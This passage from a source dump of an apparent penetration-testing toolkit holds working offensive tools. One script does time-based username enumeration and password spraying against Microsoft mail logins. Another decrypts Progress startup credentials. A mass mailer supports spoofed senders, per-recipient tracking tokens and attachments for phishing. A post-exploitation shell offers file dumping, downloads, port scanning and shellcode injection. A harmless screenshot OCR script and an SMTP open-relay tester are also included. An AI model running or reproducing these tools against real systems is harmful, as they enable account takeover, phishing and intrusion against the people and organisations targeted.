| if args.delay: 92 | args.delay = int(args.delay) 93 | 94 | url = urlparse(args.url) 95 | if not url.port: 96 | if url.scheme == 'https': 97 | port = 443 98 | else: 99 | port = 80 100 | else: 101 | port = url.port 102 | 103 | found = [] 104 | foundusers = [] 105 | 106 | print('Running against ' + url.geturl()) 107 | 108 | if args.info: 109 | # Run NTLM info leak 110 | cmd = "nmap -p" + str(port) + " --script http-ntlm-info --script-args http-ntlm-info.root="+url.path+" "+url.netloc 111 | print(cmd) 112 | os.system( cmd ) 113 | 114 | # Attempt time-based username enumeration. Valid users are quicker to respond on MS mail servers 115 | # Inspired by: https://github.com/busterb/msmailprobe 116 | if ( args.user or args.userlist ) and args.enumerate: 117 | userlist = [] 118 | enumerated = [] 119 | if args.user: userlist.append(args.user) 120 | if args.userlist: 121 | with open( args.userlist, "r" ) as f: 122 | for u in f.read().splitlines(): 123 | userlist.append(u) 124 | 125 | # Generate fake usernames 126 | import random, string 127 | fakeusers = [] 128 | for i in range(10): 129 | fakeusers.append(''.join(random.choices(string.ascii_lowercase + string.digits, k=10))) 130 | 131 | # Determine an average response time for fake usernames 132 | print('Working out an average response time for invalid usernames...' ) 133 | import time, statistics 134 | responsetimes = [] 135 | for u in fakeusers: 136 | start = round(time.time() * 1000) 137 | test_login( u, 'ThisIsNotAnyonesRealPasswordIShouldHope', url.geturl(), args.http1_1 ) 138 | responsetimes.append(round(time.time() * 1000) - start) 139 | avgresponse = statistics.mean( responsetimes ) 140 | print('\nAverage response time:',avgresponse,'ms') 141 | 142 | # Run through each user, compare to average 143 | for u in userlist: 144 | start = round(time.time() * 1000) 145 | test_login( u, 'ThisIsNotAnyonesRealPasswordIShouldHope', url.geturl(), args.http1_1 ) 146 | elapsed = round(time.time() * 1000) - start 147 | print('Elapsed:', elapsed) 148 | 149 | # If it's significantly less than average, it's valid. I guess we're hard-coding the significance! 150 | if elapsed < (avgresponse * 0.77): 151 | enumerated.append( u ) 152 | print("[+] " + u ) 153 | else: 154 | print("[-] " + u ) 155 | 156 | print('Finished enumeration.') 157 | if len( enumerated ) > 0: 158 | print( 'Valid users:\n\n' + '\n'.join(enumerated)) 159 | else: 160 | print( 'No valid users found :(' ) 161 | 162 | if (( args.user or args.userlist ) and ( args.password or args.passlist )) or args.credslist: 163 | 164 | # Check user 165 | if args.userlist and not os.path.isfile(args.userlist): 166 | print('Couldn\'t find ' + args.userlist) 167 | parser.print_usage() 168 | sys.exit(2) 169 | 170 | # Check password 171 | if args.passlist and not os.path.isfile(args.passlist): 172 | print('Couldn\'t find ' + args.passlist) 173 | parser.print_usage() 174 | sys.exit(2) 175 | 176 | # Check user 177 | if args.credslist and not os.path.isfile(args.credslist): 178 | print('Couldn\'t find ' + args.credslist) 179 | parser.print_usage() 180 | sys.exit(2) 181 | 182 | if args.passlist: 183 | print("Password list") 184 | fp = open( args.passlist, "r" ) 185 | 186 | if args.user: 187 | if args.same: 188 | test_login( args.user, args.user, url.geturl(), args.http1_1 ) 189 | if args.blank: 190 | test_login( args.user, '', url.geturl(), args.http1_1 ) 191 | elif args.userlist: 192 | fu = open( args.userlist, "r" ) 193 | for u in fu: 194 | # Loop over blank / same for when multiple passes and users 195 | if args.same: 196 | test_login( u, u, url.geturl(), args.http1_1 ) 197 | if args.blank: 198 | test_login( u, '', url.geturl(), args.http1_1 ) 199 | fu.close() 200 | 201 | for p in fp: 202 | if args.userlist: 203 | fu = open( args.userlist, "r" ) 204 | for u in fu: 205 | # many users, many passwords 206 | test_login( u, p, url.geturl(), args.http1_1 ) 207 | fu.close() 208 | else: 209 | # One user, many passwords 210 | test_login( args.user, p, url.geturl(), args.http1_1 ) 211 | fp.close() 212 | elif args.userlist: 213 | print("User list") 214 | fu = open( args.userlist, "r" ) 215 | for u in fu: 216 | # Many users, one password 217 | test_login( u, args.password, url.geturl(), args.http1_1 ) 218 | if args.same: 219 | test_login( u, u, url.geturl(), args.http1_1 ) 220 | if args.blank: 221 | test_login( u, '', url.geturl(), args.http1_1 ) 222 | fu.close() 223 | elif args.credslist: 224 | print('Creds list') 225 | fp = open( args.credslist, "r" ) 226 | for line in fp: 227 | line = line.strip() 228 | if line == '': 229 | continue 230 | creds = line.split(':') 231 | if len( creds ) < 2: 232 | print('No username / pass combination in: ' + line) 233 | continue 234 | test_login(creds[0], ':'.join(creds[1:]), url.geturl(), args.http1_1) 235 | else: 236 | # One user, one password 237 | print("Single user / password") 238 | if args.blank: 239 | test_login( args.user, '', url.geturl(), args.http1_1 ) 240 | if args.same: 241 | test_login( args.user, args.user, url.geturl(), args.http1_1 ) 242 | test_login( args.user, args.password, url.geturl(), args.http1_1 ) 243 | 244 | show_found() 245 | 246 | print("Done") 247 | -------------------------------------------------------------------------------- /progress_decrypt.py: -------------------------------------------------------------------------------- 1 | # Decrypt prowin32.exe ASCII hex username / passwords that are "encrypted" when passed as startup parameters. 2 | # usage: python progress_decrypt.py oech1::deadbeefcafe 3 | 4 | # This will do the same thing: 5 | # https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR(%7B'option':'UTF8','string':'PROGRESS'%7D,'Standard',false) 6 | 7 | import sys 8 | 9 | def decrypt( src ): 10 | return do_crypto( bytearray.fromhex(src) ) 11 | 12 | def do_crypto( src ): 13 | key_bytes = bytes('PROGRESS', 'utf-8') 14 | key_len = len(key_bytes) 15 | src_len = len( src ) 16 | dest_bytes = [] 17 | key_ct = 0 18 | 19 | for ct in range(0, src_len ): 20 | if key_ct >= key_len: 21 | key_ct = 0 22 | dest_bytes.append( src[ct] ^ key_bytes[key_ct] ) 23 | key_ct += 1 24 | return bytearray(dest_bytes).decode('utf-8'); 25 | 26 | src = sys.argv[1] 27 | if src.startswith('oech1::'): 28 | src = src.split(':')[3] 29 | 30 | print( decrypt( src ) ) 31 | 32 | -------------------------------------------------------------------------------- /relaysend.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Test if an SMTP service supports open relay 3 | 4 | import argparse, sys, smtplib, datetime, re 5 | from email.mime.multipart import MIMEMultipart 6 | from email.mime.text import MIMEText 7 | from email.mime.image import MIMEImage 8 | 9 | 10 | parser = argparse.ArgumentParser(description="Test if an SMTP service supports open relay") 11 | parser.add_argument("-t", "--toheader", help="To address") 12 | parser.add_argument("-f", "--fromheader", help="From address") 13 | parser.add_argument("-c", "--ccheader", help="CC address") 14 | parser.add_argument("-g", "--host", help="SMTP host") 15 | parser.add_argument("-p", "--port", help="SMTP port") 16 | parser.add_argument("-m", "--message", help="An optional message to append to the generated email") 17 | args = parser.parse_args() 18 | 19 | if not args.toheader or not args.fromheader or not args.host: 20 | parser.print_usage() 21 | sys.exit(2) 22 | 23 | print('From: ', args.fromheader) 24 | print('To: ', args.toheader) 25 | print('CC: ', args.ccheader) 26 | print('Host: ', args.host) 27 | if args.message: 28 | print('Message: ', args.message) 29 | 30 | msg = MIMEMultipart() 31 | 32 | # Compile header 33 | msg["From"] = args.fromheader 34 | msg["To"] = args.toheader 35 | msg["Cc"] = args.ccheader 36 | msg["Subject"] = "Relayed mail from " + args.host 37 | 38 | # Compile body 39 | html = "

    This email has been sent via an open relay at "+args.host+"

    " 40 | if args.message: 41 | html += "

    " + args.message + "

    " 42 | msgText = MIMEText( html, "html" ) 43 | msg.attach(msgText) 44 | 45 | # Send email 46 | server = smtplib.SMTP(args.host,args.port) 47 | server.set_debuglevel(1) 48 | try: 49 | server.starttls() 50 | except: 51 | print('Server doesn\'t support STARTTLS') 52 | server.sendmail( args.fromheader, args.toheader, msg.as_string() ) 53 | server.quit() 54 | 55 | print('Done') 56 | 57 | -------------------------------------------------------------------------------- /scr: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Screenshot OCR tool 3 | # requires: imagemagick, tesseract-ocr 4 | # recommended to be installed with incron 5 | # e.g. /home/iain/working/screenshots IN_CLOSE_WRITE /home/iain/bin/scr ocr $@/$# 6 | 7 | op=$1 8 | defaultfolder="${HOME}/working/screenshots" 9 | convertpattern='s/\/\./\//g; s/\.txt\(:\|$\)/\1/' 10 | 11 | if [ -n "$2" ]; then 12 | folder=$2 13 | else 14 | folder=$defaultfolder 15 | fi 16 | 17 | case $op in 18 | ocr) 19 | # OCR an image 20 | # text saved in hidden file next to image 21 | 22 | fn=$2 23 | txt=$(dirname "$fn")/.$(basename "$fn") 24 | 25 | echo "Doing OCR on $fn..." 26 | 27 | if [ -f "$txt.txt" ]; then 28 | echo "Already got a txt file" 29 | exit 1 30 | fi 31 | 32 | fnnocase=$(echo "$fn" | tr A-Z a-z) 33 | 34 | if [[ ! $fnnocase =~ \.(png|jpe?g)$ ]] || [[ $fn =~ \.lg\.png$ ]]; then 35 | echo "Not a screenshot" 36 | exit 1 37 | fi 38 | 39 | 40 | # Increase size to improve OCR accuracy 41 | convert -limit memory 8000MB -modulate 100,0 -resize 400% "$fn" "$fn.lg.png" 42 | 43 | # OCR to text file 44 | tesseract "$fn.lg.png" "$txt" 45 | 46 | # Write text to file metadata 47 | exiftool -overwrite_original -comment="$(cat "$txt.txt")" "$fn" 48 | exiftool -overwrite_original -Caption-Abstract="$(cat "$txt.txt")" "$fn" 49 | 50 | # Delete large version 51 | rm "$fn.lg.png" 52 | ;; 53 | 54 | ocrall|oa) 55 | # OCR all images in the given dir 56 | ls "$folder" | while read f; do $0 ocr "$folder/$f"; done 57 | ;; 58 | 59 | search|s) 60 | # Find txt in a screenshot dir 61 | search=$2 62 | grep -d skip -i "$search" "$folder"/.* | sed "$convertpattern" 2>/dev/null 63 | ;; 64 | 65 | open|o) 66 | # Open each matching image 67 | $0 search "$2" "$folder" | cut -d: -f 1 | sort -u | while read f; do xdg-open "$f"; done 68 | ;; 69 | 70 | cat|c) 71 | # Dump out all text for matching images 72 | grep -l -d skip -i "$2" "$folder"/.* | sort -u | while read f; do echo $f | sed "$convertpattern"; cat $f; done 2>/dev/null 73 | ;; 74 | 75 | figure|fig|f) 76 | # Output base64 encoded HTML figures of each image matching 77 | $0 search "$2" "$folder" | cut -d: -f 1 | sort -u | while read f; 78 | do 79 | mimetype=$(file -bN --mime-type "$f") 80 | content=$(base64 -w0 < "$f") 81 | echo "\n
    \"\"\n
    :
    \n
    \n" 82 | done 83 | esac 84 | -------------------------------------------------------------------------------- /sendmails.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Send an HTML email to all addresses in a txt file 3 | 4 | import argparse, sys, smtplib, datetime, re, os, random, base64, time, subprocess, csv, uuid # , html2text 5 | from email import encoders 6 | from email.mime.base import MIMEBase 7 | from email.mime.application import MIMEApplication 8 | from email.mime.multipart import MIMEMultipart 9 | from email.mime.text import MIMEText 10 | from email.mime.image import MIMEImage 11 | 12 | varnames = ['email','name','fname','lname','user'] 13 | markers = [] 14 | markers.extend(varnames) 15 | markers.extend(['date','b64email','b64remail','randomint']) 16 | 17 | 18 | class Sendmails: 19 | 20 | host = None 21 | port = None 22 | ews = None 23 | username = None 24 | password = None 25 | recipients = [] 26 | html = None 27 | dtformat = None 28 | text = None 29 | subject = None 30 | fromheader = None 31 | readreceipt = None 32 | headers = [] 33 | delay = None 34 | reconnect = None 35 | attachments = [] 36 | execute = [] 37 | templates = [] 38 | server = None 39 | session = None 40 | emailindex = 1 41 | debug = False 42 | 43 | # Connect to SMTP server 44 | def connect( self ): 45 | if self.ews: 46 | return True 47 | print('Getting new connection...') 48 | if not self.host: 49 | self.server = smtplib.SMTP('localhost') 50 | else: 51 | self.server = smtplib.SMTP(self.host, self.port) 52 | if self.debug: self.server.set_debuglevel(1) 53 | try: 54 | self.server.starttls() 55 | except: 56 | print('Server doesn\'t support STARTTLS') 57 | self.server.ehlo() 58 | if self.username and self.password: 59 | self.server.login(self.username, self.password) 60 | return True 61 | 62 | def disconnect( self ): 63 | if self.ews: 64 | return True 65 | self.server.quit() 66 | 67 | def run( self ): 68 | 69 | # Connect 70 | self.connect() 71 | 72 | randomints = False 73 | intsfile = "randomints.txt" 74 | count = 0 75 | 76 | # Loop over emails 77 | for variables in self.recipients: 78 | e = Email( variables ) 79 | e.subject = self.subject 80 | e.fromheader = self.fromheader 81 | e.variables['dtformat'] = self.dtformat 82 | e.readreceipt = self.readreceipt 83 | e.addtext = self.addtext 84 | e.attachments = self.attachments 85 | 86 | # Other custom headers 87 | for h in self.headers: 88 | k,v = h.split(':') 89 | e.headers[k.strip()] = v.strip() 90 | 91 | # Set email body 92 | if self.html: 93 | e.html = self.html 94 | if self.text: 95 | e.text = self.text 96 | if self.templates: 97 | tmpl = self.templates[count%len(self.templates)] 98 | e.html = tmpl['content'] 99 | print('Using template: ' + tmpl['name']) 100 | 101 | e = self.compile( e ) 102 | 103 | if e.usesrandomint: 104 | fp = open(intsfile,"a") 105 | fp.write(e.variables['email'] + ":" + str(e.randomint)+'\n' ) 106 | fp.close() 107 | randomints = True 108 | 109 | # Send email 110 | self.send( e ) 111 | 112 | if self.delay: 113 | time.sleep(self.delay) 114 | count += 1 115 | if count % int(self.reconnect) == 0: 116 | self.connect() 117 | 118 | self.disconnect() 119 | 120 | if randomints: 121 | print("Assigned random ints saved to " + intsfile) 122 | 123 | 124 | def compile( self, email ): 125 | if self.execute: 126 | parts = [] 127 | for x in self.execute: 128 | x = email.compile_string(x) 129 | parts.append(x) 130 | print('Running: ' + ' '.join(parts)) 131 | print(subprocess.check_output(parts)) 132 | 133 | # Compile header 134 | email.subject = email.compile_string(email.subject) 135 | 136 | # Compile bodies 137 | if email.html: 138 | email.html = email.compile_string( email.html ) 139 | if email.text: 140 | email.text = email.compile_string( email.text ) 141 | else: 142 | email.text = '' # html2text.html2text( email.html ) 143 | return email 144 | 145 | def send( self, email ): 146 | status = "[" + str(self.emailindex) + "/" + str(len(self.recipients))+ "] Sending to " + email.variables['email'] 147 | if email.usesrandomint: status += " (randomint: "+str(email.randomint)+")" 148 | status += "... " 149 | sys.stdout.write( status ) 150 | self.emailindex += 1 151 | sys.stdout.flush() 152 | if self.ews: 153 | self.send_ews( email ) 154 | else: 155 | self.send_smtp( email ) 156 | sys.stdout.write( "sent ["+datetime.datetime.today().strftime('%Y-%m-%d %H:%M:%S')+"]\n" ) 157 | sys.stdout.flush() 158 | 159 | def send_smtp( self, email ): 160 | if not self.server: 161 | self.connect() 162 | msg = email.get_mimemultipart() 163 | try: 164 | self.server.sendmail( email.fromheader, email.variables['email'], msg.as_string() ) 165 | except: 166 | if self.delay: 167 | time.sleep(self.delay) 168 | send_smtp( email ) 169 | return True 170 | 171 | def send_ews( self, email ): 172 | from exchangelib import Account, Message, Mailbox, FileAttachment, HTMLBody, Credentials, Configuration, NTLM, DELEGATE 173 | creds = Credentials(self.username,self.password) 174 | config = Configuration( 175 | service_endpoint=self.ews, 176 | credentials=creds, 177 | auth_type=NTLM 178 | ) 179 | account = Account( 180 | primary_smtp_address=self.username, 181 | config=config, 182 | autodiscover=False, 183 | access_type=DELEGATE, 184 | ) 185 | m = email.get_ewsmessage( account ) 186 | m.send() 187 | return False 188 | 189 | class Email: 190 | variables = {} 191 | toheader = None 192 | fromheader = None 193 | subject = None 194 | html = None 195 | text = None 196 | addtext = False 197 | randomint = None 198 | usesrandomint = False 199 | readreceipt = None 200 | attachments = [] 201 | headers = {} 202 | 203 | def __init__( self, variables ): 204 | self.toheader = variables['email'] 205 | msg = MIMEMultipart() 206 | self.randomint = random.randint(1,9999999) 207 | self.variables = {} 208 | 209 | for k,v in variables.items(): 210 | self.variables[k] = v 211 | 212 | namematch = re.compile( r'\w{2,}\.\w{2,}' ) 213 | self.variables['email'] = self.toheader.strip() 214 | self.variables['user'] = self.variables['email'].split('@')[0] 215 | if 'name' not in list(self.variables.keys()) or self.variables['name'] == '': 216 | if namematch.match( self.variables['user'] ): 217 | self.variables['name'] = self.variables['user'].replace("."," ").title() 218 | else: 219 | self.variables['name'] = '' 220 | 221 | if len(self.variables['name'].split(' ')) >= 2: 222 | if 'fname' not in list(self.variables.keys()): self.variables['fname'] = self.variables['name'].split(' ')[0] 223 | if 'lname' not in list(self.variables.keys()): self.variables['lname'] = self.variables['name'].split(' ')[1] 224 | else: 225 | if 'fname' not in list(self.variables.keys()): self.variables['fname'] = '' 226 | if 'lname' not in list(self.variables.keys()): self.variables['lname'] = '' 227 | 228 | # print( self.variables ) 229 | 230 | # Switch out place markers for variables 231 | def compile_string( self, txt ): 232 | for name,val in self.variables.items(): 233 | if type(val) == None: continue 234 | txt = txt.replace('{'+name+'}', str(val) ) 235 | 236 | txt = txt\ 237 | .replace("{date}",datetime.datetime.today().strftime(self.variables['dtformat']))\ 238 | .replace("{b64email}",base64.b64encode(self.variables['email'].encode('utf-8')).decode('utf8'))\ 239 | .replace("{b64remail}",base64.b64encode(self.variables['email'].encode('utf-8')).decode('utf8')[::-1]) 240 | 241 | if re.search('{randomint}', txt ): 242 | txt = txt.replace("{randomint}",str(self.randomint)) 243 | self.usesrandomint = True 244 | return txt 245 | 246 | def get_mimemultipart( self ): 247 | msg = MIMEMultipart() 248 | msg['From'] = self.fromheader 249 | msg['To'] = self.toheader 250 | msg['Subject'] = self.subject 251 | if self.readreceipt: 252 | msg["Disposition-Notification-To"] = self.readreceipt 253 | for k,v in self.headers: 254 | msg[k] = v 255 | 256 | msgid = re.sub(r'[^@]+@',str(uuid.uuid4()) + '@',self.fromheader) 257 | msgid = re.sub(r'>$','',msgid) 258 | msgid = '<' + msgid + '>' 259 | for k in ['messageId','Message-ID']: 260 | if k not in msg.keys(): 261 | msg[k] = msgid 262 | 263 | if self.html: 264 | msg.attach(MIMEText( self.html, "html" )) 265 | # if self.text: 266 | # msg.attach(MIMEText(html2text.html2text(self.text),'plain')) 267 | 268 | # Find any embedded images and attach 269 | attachments = re.findall( 'src="cid:([^"]+)"', self.html ) 270 | for attachment in attachments: 271 | fp = open( attachment, "rb" ) 272 | img = MIMEImage(fp.read()) 273 | fp.close() 274 | img.add_header('Content-ID', attachment ) 275 | msg.attach(img) 276 | 277 | # Optional attachment 278 | for a in self.attachments: 279 | filename = os.path.basename( a ) 280 | part = MIMEBase('application', "octet-stream") 281 | part.set_payload(open(a, "rb").read()) 282 | encoders.encode_base64(part) 283 | part.add_header('Content-Disposition', 'attachment; filename="'+filename+'"') 284 | msg.attach(part) 285 | 286 | return msg 287 | 288 | def get_ewsmessage( self, account ): 289 | from exchangelib import Account, Message, Mailbox, FileAttachment, HTMLBody, Credentials, Configuration, NTLM, DELEGATE 290 | m = Message( 291 | account=account, 292 | subject=self.subject, 293 | body=HTMLBody(self.html), 294 | to_recipients=[self.toheader] 295 | ) 296 | if self.readreceipt: 297 | m.is_read_receipt_requested = True 298 | 299 | if len( self.headers ) > 0: 300 | print('Custom mail headers not currently supported in EWS mode') 301 | # for k,v in self.headers: 302 | # This is fiddly, not enabled yet 303 | 304 | # Find any embedded images and attach 305 | attachments = re.findall( 'src="cid:([^"]+)"', self.html ) 306 | for attachment in attachments: 307 | a = FileAttachment( 308 | name=attachment, 309 | content=open(attachment, "rb").read(), 310 | is_inline=True, 311 | content_id=attachment 312 | ) 313 | m.attach(a) 314 | 315 | # Optional attachment 316 | for attachment in self.attachments: 317 | a = FileAttachment( 318 | name=attachment, 319 | content=open(attachment, "rb").read() 320 | ) 321 | m.attach(a) 322 | return m 323 | 324 | def main(): 325 | parser = argparse.ArgumentParser(description="Send emails with various helpful options") 326 | parser.add_argument("-e", "--emails", help="File containing list of email addresses") 327 | parser.add_argument("-E", "--email", help="Single email address to send to") 328 | parser.add_argument("--csv", help="CSV file of email addresses with headers containing at least 'email' and optionally also: '"+"', '".join(varnames)+"'") 329 | parser.add_argument("-b", "--body", help="File containing HTML body of email, can contain template markers to be replaced with each email sent: {"+"}, {".join(markers)+"}") 330 | parser.add_argument("-B", "--bodydir", help="Directory containing any number of .html files which will be cycled through (different template for each email) to act as the body template") 331 | parser.add_argument("--dtformat", default="%d/%m/%Y", help="Format string for using when substituting {date} in templates") 332 | parser.add_argument("-t", "--text", action="store_true", help="Add a plain text part to the email converted from the HTML body (use if the target mail client doesn't display HTML inline, e.g. IBM Notes might not)") 333 | parser.add_argument("-T", "--textfile", help="Add a plain text part to the email taken from the specified text file") 334 | parser.add_argument("-s", "--subject", help="Subject line of email") 335 | parser.add_argument("-f", "--fromheader", help="From address (address or 'name
    ')") 336 | parser.add_argument("-r", "--readreceipt", help="Read receipt address (same format as from/to headers") 337 | parser.add_argument("-H", "--header", action="append", help="Add any number of custom headers") 338 | parser.add_argument("-g", "--host", help="SMTP host") 339 | parser.add_argument("-P", "--port", help="SMTP port") 340 | parser.add_argument("-u", "--username", help="SMTP / EWS username") 341 | parser.add_argument("-p", "--password", help="SMTP / EWS password") 342 | parser.add_argument("--ews", help="URL to EWS endpoint (e.g. https://owa.example.com/EWS/Exchange.asmx)") 343 | parser.add_argument("-d", "--delay", help="Delay between mail sends (seconds)") 344 | parser.add_argument("--reconnect", default=5, type=int, help="Reconnect to SMTP host after this many email sends") 345 | parser.add_argument("-a", "--attachment", help="Filename to add as an attachment") 346 | parser.add_argument("-x", "--execute", action="append", help="Execute this command before sending each email (stack to create complex commands, e.g. -x 'script.sh' -x 'Email:{email}')") 347 | parser.add_argument("--debug", action="store_true", help="Output debug info") 348 | args = parser.parse_args() 349 | 350 | if not ( args.body or args.bodydir or args.textfile ) or not args.subject or ( not args.ews and not args.fromheader): 351 | parser.print_usage() 352 | sys.exit(2) 353 | 354 | if not args.emails and not args.email and not args.csv: 355 | parser.print_usage() 356 | sys.exit(2) 357 | 358 | sender = Sendmails() 359 | sender.debug = args.debug 360 | 361 | if args.host and not args.port: 362 | args.port = 587 363 | sender.port = args.port 364 | sender.host = args.host 365 | print('SMTP server:', args.host + ':' + str( args.port ) ) 366 | if args.ews: 367 | sender.ews = args.ews 368 | if args.fromheader: 369 | print('NOTE: The "From:" header can\'t be spoofed over EWS') 370 | 371 | if args.text or args.textfile: 372 | print('NOTE: EWS methods are currently HTML only') 373 | 374 | if args.dtformat: sender.dtformat = args.dtformat 375 | sender.reconnect = args.reconnect 376 | 377 | sender.username = args.username 378 | sender.password = args.password 379 | 380 | if args.delay: 381 | args.delay = int( args.delay ) 382 | sender.delay = args.delay 383 | 384 | if args.attachment: 385 | if not os.path.isfile(args.attachment): 386 | print('Path to attachment ' + args.attachment + ' not found') 387 | else: 388 | sender.attachments.append( args.attachment ) 389 | 390 | sender.execute = args.execute 391 | 392 | if args.emails: 393 | emailsfile = args.emails 394 | print('Emails file: ', emailsfile) 395 | elif args.email: 396 | print('Email: ', args.email) 397 | elif args.csv: 398 | print('CSV: ', args.csv) 399 | 400 | 401 | # Dictionary specific to an email 402 | variables = {} 403 | 404 | sender.subject = args.subject 405 | sender.fromheader = args.fromheader 406 | 407 | if args.body: 408 | print('Body text file: ', args.body) 409 | if args.textfile: 410 | print('Flat text file: ', args.textfile) 411 | print('Subject: ', args.subject) 412 | print('From: ', args.fromheader) 413 | 414 | attachmentmatch = re.compile( 'src="cid:([^"]+)"' ) 415 | 416 | # Read in body 417 | if args.body: 418 | with open (args.body,"r",encoding="utf8",errors="ignore") as file: 419 | html = file.read() # .replace('\n','') 420 | else: 421 | html = None 422 | sender.html = html 423 | 424 | # Read in array of bodies 425 | templates = None 426 | if args.bodydir: 427 | bd = os.path.expanduser(args.bodydir) 428 | if not os.path.isdir( bd ): 429 | print("FAIL: " + bd + " doesn't exist") 430 | files = [f for f in os.listdir(bd) if os.path.isfile(os.path.join(bd,f))] # and (re.match('.+\.html$',f) != None ))] 431 | files = [f for f in files if re.match(r'.+\.html$',f) != None] 432 | files.sort() 433 | templates = [] 434 | for fn in files: 435 | fn = os.path.join(bd,fn) 436 | with open(fn,'r') as f: 437 | templates.append({'name':fn,'content':f.read()}) 438 | 439 | if len( templates ) == 0: 440 | print('FAIL: No html files found in ' + bd) 441 | sender.templates = templates 442 | 443 | # Read in flat text 444 | if args.textfile: 445 | sender.addtext = True 446 | with open(args.textfile,'r') as f: 447 | text = f.read() 448 | else: 449 | text = None 450 | sender.addtext = args.text 451 | sender.text = text 452 | 453 | # Read in emails 454 | recipients = [] 455 | if args.csv: 456 | with open(args.csv, 'r') as csvfile: 457 | csvreader = csv.DictReader(csvfile) 458 | for row in csvreader: 459 | for k in list(row.keys()): 460 | if k not in markers: markers.append(k) 461 | if 'email' not in list(row.keys()): continue 462 | recipients.append( row ) 463 | 464 | elif args.emails: 465 | with open(emailsfile) as f: 466 | emails = f.readlines() 467 | for email in emails: 468 | email = email.strip() 469 | recipients.append({'email':email}) 470 | else: 471 | recipients.append({'email':args.email}) 472 | sender.recipients = recipients 473 | sender.run() 474 | 475 | if __name__ == "__main__": 476 | main() 477 | 478 | -------------------------------------------------------------------------------- /shell.py: -------------------------------------------------------------------------------- 1 | import os, sys, tempfile 2 | 3 | 4 | # Set python home to a path we can definitely write to so we can do pip installs 5 | pythondir = os.path.join(tempfile.gettempdir(),'python' + str( sys.version_info[0] )) 6 | downloadsdir = os.path.join(tempfile.gettempdir(),'downloads') 7 | 8 | if sys.version_info[0] == 2: input = raw_input 9 | 10 | print('pythondir',pythondir) 11 | try: 12 | importdir = os.path.join( pythondir, 'lib', 'site-packages' ) 13 | cachedir = os.path.join(pythondir,'cache') 14 | logfile = os.path.join(tempfile.gettempdir(),'shell.log') 15 | 16 | if 'PYTHONHOME' not in os.environ: os.environ['PYTHONHOME'] = '' 17 | os.environ['PYTHONHOME'] += ';.;' + pythondir + ';' + importdir 18 | sys.path.append(importdir) 19 | sys.path.append('.') 20 | open_ports = [] 21 | except Exception as e: 22 | print(e) 23 | 24 | # These ones should all work 25 | try: 26 | import subprocess,shutil,base64,re,getpass,fnmatch,time,getopt,socket 27 | except Exception as e: 28 | print( e ) 29 | 30 | # Support for multithreading 31 | try: 32 | import threading,queue 33 | except Exception as e: 34 | print( e ) 35 | print('No multithreading support :( nmap will be slow') 36 | 37 | # CIDR parsing 38 | try: 39 | import ipaddress 40 | except Exception as e: 41 | print( e ) 42 | print('No IP address module - unable to parse CIDR notation') 43 | 44 | # Package management 45 | try: 46 | import pip 47 | except Exception as e: 48 | print( e ) 49 | print('No pip - install won\'t work') 50 | 51 | # Web requests 52 | try: 53 | from urllib.request import urlopen 54 | except Exception as e: 55 | print( e ) 56 | try: 57 | from urllib import urlopen 58 | except Exception as f: 59 | print( f ) 60 | print('No urlopen - wget won\'t work') 61 | 62 | # Processes 63 | try: 64 | import psutil 65 | except Exception as e: 66 | print( e ) 67 | print('No psutil - ps, ifconfig and netstat won\'t work') 68 | 69 | # Windows kernel 70 | try: 71 | from ctypes import * 72 | except Exception as e: 73 | print( e ) 74 | print('No ctypes - inject won\'t work') 75 | 76 | commands = { 77 | 'help': 'Show help', 78 | 'info': 'Show info about current system', 79 | 'cd': 'Change current working dir', 80 | 'ls': 'List files / folders', 81 | 'cat': 'Output a file to stdout', 82 | 'bat': 'base64 output a file to stdout', 83 | 'cp': 'Copy a file / folder', 84 | 'mv': 'Move a file / folder', 85 | 'rm': 'Delete a file / folder', 86 | 'exec': 'Execute a system command / binary', 87 | 'edit': 'Open the OS editor on a file', 88 | 'grep': 'Recursive grep for a regex (equivalent to `grep -ori `)', 89 | 'python': 'Run the python interpreter against a file', 90 | 'eval': 'Evaluate some python code', 91 | 'install': 'pip install a module', 92 | 'find': 'Recursive find for a glob filename', 93 | 'wget': 'Download a file to cwd', 94 | 'nmap': 'Basic multithreaded TCP port scanner', 95 | 'ps': 'List running processes', 96 | 'netstat': 'List network connections', 97 | 'ifconfig': 'Print network interfaces', 98 | 'inject': 'Inject shellcode into a process id' 99 | } 100 | 101 | def shell(): 102 | print('Starting shell') 103 | out = do_info([]) 104 | print( out ) 105 | log( 'info', out ) 106 | print('Type `help` for all commands available') 107 | print('Logging all commands and output to ' + logfile) 108 | while True: 109 | try: 110 | cmd = input(os.getcwd() + "> ").strip() 111 | out = parse_command( cmd ) 112 | if out: print( out ) 113 | except Exception as e: 114 | print("FAILED:",cmd, e) 115 | out = str(e) 116 | log( cmd, out ) 117 | 118 | def log( command, output ): 119 | if not output: output = '' 120 | try: 121 | with open( logfile,'a') as f: 122 | f.write('\nCWD: '+os.getcwd()+'\nIN: '+command+'\nOUT: '+output) 123 | except: 124 | pass 125 | 126 | def parse_command( cmd ): 127 | parts = cmd.split(' ') 128 | command = parts[0].strip() 129 | if len( command ) == 0: return 130 | if command in commands: 131 | try: 132 | out = globals()['do_'+command](parts) 133 | except Exception as e: 134 | print('Running ' + command + ' failed:',e) 135 | out = '' 136 | 137 | else: 138 | out = '' 139 | print('Don\'t know how to ' + command) 140 | return out 141 | 142 | def resolve_path( parts ): 143 | if len( parts ) < 2: 144 | d = os.getcwd() 145 | elif parts[1].startswith('/'): 146 | d = ' '.join(parts[1:]).strip() 147 | else: 148 | d = os.path.join( os.getcwd(), os.path.join(' '.join(parts[1:]).strip()) ) 149 | print(d) 150 | return d 151 | 152 | def do_help( parts ): 153 | for k,v in commands.items(): 154 | print(k.ljust(10)+': '+v) 155 | 156 | def do_info( parts ): 157 | colwidth = 20 158 | 159 | 160 | rtn = 'Python'.ljust(colwidth) + ': ' + sys.version + '\n' 161 | 162 | # whoami 163 | rtn += 'User'.ljust(colwidth)+': ' + getpass.getuser() + '@' + socket.gethostname() + '\n' 164 | 165 | # Env vars 166 | rtn += '\nEnvironment Variables:\n' 167 | for k,v in os.environ.items(): 168 | rtn += k.ljust(colwidth) + ': ' + v + '\n' 169 | return rtn 170 | 171 | def do_cd( parts ): 172 | if len( parts ) < 2: 173 | os.chdir(os.path.dirname(__file__)) 174 | else: 175 | os.chdir(' '.join(parts[1:])) 176 | 177 | def do_ls( parts ): 178 | d = resolve_path( parts ) 179 | rtn = '' 180 | for f in os.listdir( d ): 181 | fn = 